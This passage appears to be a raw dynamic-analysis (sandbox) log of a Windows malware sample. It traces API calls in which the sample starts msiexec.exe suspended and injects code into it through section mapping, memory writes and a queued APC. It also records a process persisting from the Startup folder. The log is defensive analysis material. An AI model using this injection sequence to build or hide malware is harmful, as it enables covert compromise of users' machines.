hProcess=0x2c0, hModule=0x71080000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0260.520] CoTaskMemFree (pv=0x66891e8) [0260.520] GetModuleInformation (in: hProcess=0x2c0, hModule=0x70ee0000, lpmodinfo=0x258d5d8, cb=0xc | out: lpmodinfo=0x258d5d8*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0260.520] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.520] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x70ee0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0260.521] CoTaskMemFree (pv=0x66891e8) [0260.521] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.521] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x70ee0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0260.522] CoTaskMemFree (pv=0x66891e8) [0260.522] GetModuleInformation (in: hProcess=0x2c0, hModule=0x735f0000, lpmodinfo=0x258f7a0, cb=0xc | out: lpmodinfo=0x258f7a0*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0260.522] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.522] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x735f0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0260.523] CoTaskMemFree (pv=0x66891e8) [0260.523] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.523] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x735f0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0260.524] CoTaskMemFree (pv=0x66891e8) [0260.524] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75b40000, lpmodinfo=0x25918ac, cb=0xc | out: lpmodinfo=0x25918ac*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0260.524] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.525] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75b40000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0260.525] CoTaskMemFree (pv=0x66891e8) [0260.525] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.525] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75b40000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0260.526] CoTaskMemFree (pv=0x66891e8) [0260.526] GetModuleInformation (in: hProcess=0x2c0, hModule=0x70de0000, lpmodinfo=0x25939b8, cb=0xc | out: lpmodinfo=0x25939b8*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0260.527] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.527] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x70de0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0260.527] CoTaskMemFree (pv=0x66891e8) [0260.527] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.527] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x70de0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0260.529] CoTaskMemFree (pv=0x66891e8) [0260.529] GetModuleInformation (in: hProcess=0x2c0, hModule=0x77ae0000, lpmodinfo=0x2595adc, cb=0xc | out: lpmodinfo=0x2595adc*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0260.530] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.530] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x77ae0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0260.530] CoTaskMemFree (pv=0x66891e8) [0260.530] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.530] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x77ae0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0260.531] CoTaskMemFree (pv=0x66891e8) [0260.531] GetModuleInformation (in: hProcess=0x2c0, hModule=0x70d00000, lpmodinfo=0x2597be0, cb=0xc | out: lpmodinfo=0x2597be0*(lpBaseOfDll=0x70d00000, SizeOfImage=0xd4000, EntryPoint=0x70d330d2)) returned 1 [0260.532] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.532] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x70d00000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="diasymreader.dll") returned 0x10 [0260.533] CoTaskMemFree (pv=0x66891e8) [0260.533] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.533] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x70d00000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\diasymreader.dll")) returned 0x3e [0260.533] CoTaskMemFree (pv=0x66891e8) [0260.533] GetModuleInformation (in: hProcess=0x2c0, hModule=0x761c0000, lpmodinfo=0x2599d38, cb=0xc | out: lpmodinfo=0x2599d38*(lpBaseOfDll=0x761c0000, SizeOfImage=0xc4a000, EntryPoint=0x76241601)) returned 1 [0260.534] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.534] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x761c0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0260.535] CoTaskMemFree (pv=0x66891e8) [0260.535] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.535] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x761c0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0260.536] CoTaskMemFree (pv=0x66891e8) [0260.536] CloseHandle (hObject=0x2c0) returned 1 [0261.630] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\SysWOW64\\msiexec.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x253500c*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2534ff0 | out: lpCommandLine="C:\\Windows\\SysWOW64\\msiexec.exe", lpProcessInformation=0x2534ff0*(hProcess=0x2bc, hThread=0x2c0, dwProcessId=0x7d4, dwThreadId=0x440)) returned 1 [0261.667] NtQueryInformationProcess (in: ProcessHandle=0x2bc, ProcessInformationClass=0x0, ProcessInformation=0x25350e0, ProcessInformationLength=0x18, ReturnLength=0x540e114 | out: ProcessInformation=0x25350e0, ReturnLength=0x540e114) returned 0x0 [0261.671] NtReadVirtualMemory (in: ProcessHandle=0x2bc, BaseAddress=0x7efde008, Buffer=0x2544784, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x540e10c | out: Buffer=0x2544784*, NumberOfBytesRead=0x540e10c*=0x4) returned 0x0 [0261.671] NtUnmapViewOfSection (ProcessHandle=0x2bc, BaseAddress=0x400000) returned 0xc0000019 [0261.671] NtCreateSection (in: SectionHandle=0x540e12c, DesiredAccess=0xe, ObjectAttributes=0x0, MaximumSize=0x540e120, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x540e12c*=0x2c8) returned 0x0 [0261.672] NtMapViewOfSection (in: SectionHandle=0x2c8, ProcessHandle=0xffffffff, BaseAddress=0x540e104*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x540e108*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x540e104*=0x49d0000, SectionOffset=0x0, ViewSize=0x540e108*=0x29000) returned 0x0 [0261.672] NtMapViewOfSection (in: SectionHandle=0x2c8, ProcessHandle=0x2bc, BaseAddress=0x540e100*=0x400000, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x540e108*=0x29000, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x540e100*=0x400000, SectionOffset=0x0, ViewSize=0x540e108*=0x29000) returned 0x0 [0261.675] NtWriteVirtualMemory (in: ProcessHandle=0x2bc, BaseAddress=0x7efde008, Buffer=0x2571a88*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x0 | out: Buffer=0x2571a88*, NumberOfBytesWritten=0x0) returned 0x0 [0262.226] NtAllocateVirtualMemory (in: ProcessHandle=0x2bc, BaseAddress=0x540de64*=0x0, ZeroBits=0x0, RegionSize=0x540de5c*=0xa4, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x540de64*=0x70000, RegionSize=0x540de5c*=0x1000) returned 0x0 [0262.226] LocalAlloc (uFlags=0x0, uBytes=0xa4) returned 0x5832e8 [0262.227] NtWriteVirtualMemory (in: ProcessHandle=0x2bc, BaseAddress=0x70000, Buffer=0x5832e8*, NumberOfBytesToWrite=0xa4, NumberOfBytesWritten=0x0 | out: Buffer=0x5832e8*, NumberOfBytesWritten=0x0) returned 0x0 [0262.227] LocalFree (hMem=0x5832e8) returned 0x0 [0262.229] NtAllocateVirtualMemory (in: ProcessHandle=0x2bc, BaseAddress=0x540de64*=0x0, ZeroBits=0x0, RegionSize=0x540de5c*=0x4e, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x540de64*=0x80000, RegionSize=0x540de5c*=0x1000) returned 0x0 [0262.229] LocalAlloc (uFlags=0x0, uBytes=0x4e) returned 0x540710 [0262.229] NtWriteVirtualMemory (in: ProcessHandle=0x2bc, BaseAddress=0x80000, Buffer=0x540710*, NumberOfBytesToWrite=0x4e, NumberOfBytesWritten=0x0 | out: Buffer=0x540710*, NumberOfBytesWritten=0x0) returned 0x0 [0262.229] LocalFree (hMem=0x540710) returned 0x0 [0262.230] NtQueueApcThread (ThreadHandle=0x2c0, ApcRoutine=0x80000, NormalContext=0x0, SystemArgument1=0x0, SystemArgument2=0x0) returned 0x0 [0262.230] NtAlertResumeThread (in: ThreadHandle=0x2c0, SuspendCount=0x540e0f8 | out: SuspendCount=0x540e0f8) returned 0x0 [0262.230] NtClose (Handle=0x2c0) returned 0x0 [0262.230] NtDelayExecution (Alertable=0, Interval=0x2675358*=-214160000) Thread: id = 65 os_tid = 0x618 Thread: id = 68 os_tid = 0x5e4 Process: id = "9" image_name = "sauvegardeprojet.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe" page_root = "0xa6ae000" os_pid = "0x564" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e834" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2378 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2379 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2380 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2381 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2382 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2383 start_va = 0x260000 end_va = 0x2fbfff entry_point = 0x260000 region_type = mapped_file name = "sauvegardeprojet.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe") Region: id = 2384 start_va = 0x430000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2385 start_va = 0x77930000 end_va = 0x77ad8fff entry_point = 0x77930000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2386 start_va = 0x77b10000 end_va = 0x77c8ffff entry_point = 0x77b10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2387 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2388 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2389 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2390 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2391 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2392 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2393 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2404 start_va = 0x140000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2405 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x74080000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2406 start_va = 0x74090000 end_va = 0x740ebfff entry_point = 0x74090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2407 start_va = 0x740f0000 end_va = 0x7412efff entry_point = 0x740f0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2408 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2409 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2410 start_va = 0x610000 end_va = 0x70ffff entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 2411 start_va = 0x736a0000 end_va = 0x736e9fff entry_point = 0x736a0000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 2412 start_va = 0x75990000 end_va = 0x759d5fff entry_point = 0x75990000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2413 start_va = 0x77540000 end_va = 0x7764ffff entry_point = 0x77540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2414 start_va = 0x77710000 end_va = 0x7782efff entry_point = 0x0 region_type = private name = "private_0x0000000077710000" filename = "" Region: id = 2415 start_va = 0x77830000 end_va = 0x77929fff entry_point = 0x0 region_type = private name = "private_0x0000000077830000" filename = "" Region: id = 2416 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2417 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2430 start_va = 0x370000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 2431 start_va = 0x8d0000 end_va = 0x8dffff entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 2432 start_va = 0x900000 end_va = 0x93ffff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2433 start_va = 0x75660000 end_va = 0x7566bfff entry_point = 0x75660000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2434 start_va = 0x75670000 end_va = 0x756cffff entry_point = 0x75670000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2435 start_va = 0x758a0000 end_va = 0x7598ffff entry_point = 0x758a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2436 start_va = 0x75f70000 end_va = 0x75f88fff entry_point = 0x75f70000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2437 start_va = 0x773f0000 end_va = 0x7748ffff entry_point = 0x773f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2438 start_va = 0x77490000 end_va = 0x7753bfff entry_point = 0x77490000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2441 start_va = 0x73620000 end_va = 0x73697fff entry_point = 0x73620000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 2450 start_va = 0x710000 end_va = 0x897fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2451 start_va = 0x75810000 end_va = 0x7589ffff entry_point = 0x75810000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2452 start_va = 0x75a30000 end_va = 0x75accfff entry_point = 0x75a30000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2453 start_va = 0x75ae0000 end_va = 0x75b3ffff entry_point = 0x75ae0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2454 start_va = 0x75be0000 end_va = 0x75cabfff entry_point = 0x75be0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2455 start_va = 0x75db0000 end_va = 0x75e06fff entry_point = 0x75db0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2456 start_va = 0x75e10000 end_va = 0x75f0ffff entry_point = 0x75e10000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2457 start_va = 0x772c0000 end_va = 0x772c9fff entry_point = 0x772c0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2463 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2464 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2465 start_va = 0x940000 end_va = 0xac0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000940000" filename = "" Region: id = 2466 start_va = 0xad0000 end_va = 0x1ecffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 2467 start_va = 0x73610000 end_va = 0x73618fff entry_point = 0x73610000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2470 start_va = 0x72f40000 end_va = 0x735e7fff entry_point = 0x72f40000 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2471 start_va = 0x75540000 end_va = 0x75634fff entry_point = 0x75540000 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 2501 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2502 start_va = 0xe0000 end_va = 0xeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2503 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2504 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2505 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2506 start_va = 0x120000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2507 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2508 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2509 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2510 start_va = 0x320000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2511 start_va = 0x380000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2512 start_va = 0x5b0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 2513 start_va = 0x1f00000 end_va = 0x1f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 2514 start_va = 0x1f40000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 2515 start_va = 0x1f80000 end_va = 0x207ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 2516 start_va = 0x2080000 end_va = 0x20bffff entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 2517 start_va = 0x2190000 end_va = 0x228ffff entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 2518 start_va = 0x2290000 end_va = 0x428ffff entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 2519 start_va = 0x4400000 end_va = 0x44fffff entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 2520 start_va = 0x4500000 end_va = 0x47cefff entry_point = 0x4500000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2521 start_va = 0x74310000 end_va = 0x7553afff entry_point = 0x74310000 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll") Region: id = 2522 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2523 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2524 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2528 start_va = 0x77060000 end_va = 0x771bbfff entry_point = 0x77060000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2529 start_va = 0x73e60000 end_va = 0x73edffff entry_point = 0x73e60000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2530 start_va = 0x4290000 end_va = 0x436ffff entry_point = 0x0 region_type = private name = "private_0x0000000004290000" filename = "" Region: id = 2532 start_va = 0x47d0000 end_va = 0x48aefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000047d0000" filename = "" Region: id = 2538 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2539 start_va = 0x230000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 2540 start_va = 0x71e70000 end_va = 0x72585fff entry_point = 0x71e70000 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll") Region: id = 2541 start_va = 0x72590000 end_va = 0x72f3cfff entry_point = 0x72590000 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll") Region: id = 2542 start_va = 0x73c90000 end_va = 0x73e5afff entry_point = 0x73c90000 region_type = mapped_file name = "microsoft.visualbasic.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: 